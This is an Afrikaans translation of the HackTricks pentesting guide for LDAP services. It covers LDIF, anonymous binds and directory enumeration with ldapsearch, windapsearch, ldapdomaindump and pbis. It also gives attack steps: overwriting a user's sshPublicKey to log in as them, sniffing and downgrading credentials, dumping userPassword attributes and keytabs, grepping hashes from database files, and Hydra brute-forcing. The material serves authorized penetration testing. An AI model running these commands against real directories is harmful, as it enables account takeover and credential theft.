hacktricks/network-services-pentesting/pentesting-ldap.md

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# 389, 636, 3268, 3269 - Pentesting LDAP
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<details>
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</details>
Die gebruik van **LDAP** (Ligte Gids Toegangsprotokol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en bronne soos lêers en toestelle binne netwerke, beide openbare en private. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kode-afdruk te hê.
LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n **gerepliseerde** en **gesinkroniseerde** weergawe van die gids huisves, bekend as 'n Gidsisteemagent (DSA). Die verantwoordelikheid vir die hanteer van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSAs kan kommunikeer soos nodig om 'n eenvormige antwoord aan die versoeker te lewer.
Die organisasie van die LDAP-gids lyk soos 'n **boomhiërargie, wat begin met die hoofgids bo-aan**. Dit tak af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskeie afdelings of departemente verteenwoordig, en bereik uiteindelik die individuele entiteitevlak, insluitend mense en gedeelde bronne soos lêers en drukkers.
**Verstekpoort:** 389 en 636 (ldaps). Globale Katalogus (LDAP in ActiveDirectory) is standaard beskikbaar op poorte 3268 en 3269 vir LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) definieer die gidsinhoud as 'n stel rekords. Dit kan ook opdateringsversoeke (Voeg by, Wysig, Verwyder, Hernoem) voorstel.
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
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* Lyne 1-3 definieer die topvlakdomein local
* Lyne 5-8 definieer die eerste vlakdomein moneycorp (moneycorp.local)
* Lyne 10-16 definieer 2 organisatoriese eenhede: dev en sales
* Lyne 18-26 skep 'n objek van die domein en ken eienskappe met waardes toe
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## Skryf data
Merk op dat as jy waardes kan wysig, kan jy regtig interessante aksies uitvoer. Byvoorbeeld, stel jou voor jy **kan die "sshPublicKey" inligting verander** van jou gebruiker of enige gebruiker. Dit is baie waarskynlik dat as hierdie eienskap bestaan, dan **lees ssh die openbare sleutels vanaf LDAP**. As jy die openbare sleutel van 'n gebruiker kan wysig, **sal jy kan aanmeld as daardie gebruiker selfs al is wagwoordverifikasie nie geaktiveer in ssh nie**.
```bash
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# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
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>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
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>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Sniff duidelike tekskredensials
Indien LDAP sonder SSL gebruik word, kan jy **kredensials in duidelike teks aflui** in die netwerk.
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Verder kan jy 'n **MITM**-aanval uitvoer in die netwerk **tussen die LDAP-bediener en die klient.** Hier kan jy 'n **Downgrade-aanval** uitvoer sodat die klient die **kredensials in duidelike teks** gebruik om in te teken.
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**As SSL gebruik word** kan jy probeer om 'n **MITM** soos hierbo genoem te maak, maar 'n **vals sertifikaat** aan te bied, as die **gebruiker dit aanvaar**, kan jy die verifikasiemetode afgradeer en die kredensials weer sien.
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## Anonieme Toegang
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### Bypass TLS SNI-toets
Volgens [**hierdie skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) deur net die LDAP-bediener met 'n willekeurige domeinnaam (soos company.com) te benader, was hy in staat om die LDAP-diens te kontak en inligting as 'n anonieme gebruiker te onttrek:
```bash
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ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonieme bind
[LDAP anonieme binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) maak dit vir **ongeagteken attackers** moontlik om inligting van die domein te onttrek, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningseienskappe, en die domein wagwoordbeleid. Dit is 'n **ouditiewe konfigurasie**, en vanaf Windows Server 2003 word slegs geautehtiseerde gebruikers toegelaat om LDAP-versoeke te inisieer.
Nietemin, kan admins dalk nodig gehad het om 'n spesifieke toepassing op te stel om anonieme binds toe te laat en meer as die bedoelde hoeveelheid toegang te gee, wat gevolglik ongeautehtiseerde gebruikers toegang gee tot alle voorwerpe in AD.
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## Geldige Gelde
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As jy geldige gelde het om in te teken op die LDAP-bediener, kan jy alle inligting oor die Domein Admin dump met behulp van:
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[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
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```bash
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pip3 install ldapdomaindump
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ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
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```
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### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
## Opsomming
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### Outomaties
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Deur hierdie metode te gebruik, sal jy in staat wees om die **openbare inligting** (soos die domeinnaam)**:**
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```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
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### Python
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<details>
<summary>Sien LDAP oplysting met Python</summary>
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Jy kan probeer om **'n LDAP op te som met of sonder geloofsbriewe deur Python te gebruik**: `pip3 install ldap3`
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Eerste probeer om **sonder** geloofsbriewe te **verbind**:
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```bash
>>> import ldap3
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>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
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>>> connection.bind()
True
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>>> server.info
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```
Indien die antwoord `True` is soos in die vorige voorbeeld, kan jy **interessante data** van die LDAP (soos die **naamkonteks** of **domeinnaam**) bediener verkry van:
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```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
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Naming contexts:
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dc=DOMAIN,dc=DOMAIN
```
Sodra jy die naamkonteks het, kan jy nog meer opwindende navrae doen. Hierdie eenvoudige navraag behoort jou al die voorwerpe in die gids te wys:
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```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Of **dump** die hele LDAP:
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```bash
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>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
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```
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</details>
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### windapsearch
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[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om gebruikers, groepe, en rekenaars van 'n Windows-domein op te som deur LDAP-navrae te gebruik.
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```bash
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# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
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```
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### ldapsearch
Kontroleer nulgelde of indien jou gelde geldig is:
```bash
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ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
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# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
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tion a successful bind must be completed on the connection., data 0, v3839
```
Indien jy iets vind wat sê dat die "_bind voltooi moet word_" beteken dit dat die geloofsbriewe verkeerd is.
Jy kan **alles vanaf 'n domein** onttrek met:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
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-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Haal **gebruikers** uit:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Haal **rekenaars** uit:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **my info** uit.
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Domain Admins** uit:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Domain Users** uit:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Enterprise Admins** uit:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Administrateurs** uit:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Remote Desktop Group** uit:
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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Om te sien of jy toegang het tot enige wagwoord, kan jy grep gebruik nadat jy een van die navrae uitgevoer het:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
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#### pbis
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Jy kan **pbis** hier aflaai: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) en dit word gewoonlik geïnstalleer in `/opt/pbis`.\
**Pbis** laat jou toe om maklik basiese inligting te kry:
```bash
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#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
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#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
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#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
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echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
## Grafiese Koppelvlak
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### Apache Directory
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[**Laai Apache Directory hier af**](https://directory.apache.org/studio/download/download-linux.html). Jy kan 'n [voorbeeld van hoe om hierdie instrument te gebruik hier vind](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
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### jxplorer
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Jy kan 'n grafiese koppelvlak met LDAP-bediener hier aflaai: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
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Standaard word dit geïnstalleer in: _/opt/jxplorer_
![](<../.gitbook/assets/image (482).png>)
### Godap
Jy kan dit bereik by [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
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## Verifikasie via kerberos
Deur `ldapsearch` te gebruik kan jy **verifieer** teen **kerberos in plaas daarvan** van via **NTLM** deur die parameter `-Y GSSAPI` te gebruik
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## POST
As jy die lêers waar die databasisse gehuisves word kan bereik (kan in _/var/lib/ldap_ wees). Jy kan die hasse onttrek met:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
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### Konfigurasie Lêers
* Algemeen
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 bediener
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* V3.sas.oc
* Microsoft Active Directory bediener
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* msadClassesAttrs.ldif
* Netscape Directory Server 4
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* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP gids bediener
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* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
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* 75sas.ldif
```
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Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
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https://book.hacktricks.xyz/pentesting/pentesting-ldap
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Entry_2:
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Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
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Entry_3:
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Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
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Entry_4:
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Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
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Entry_5:
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Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
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Entry_6:
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Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
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```
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<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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</details>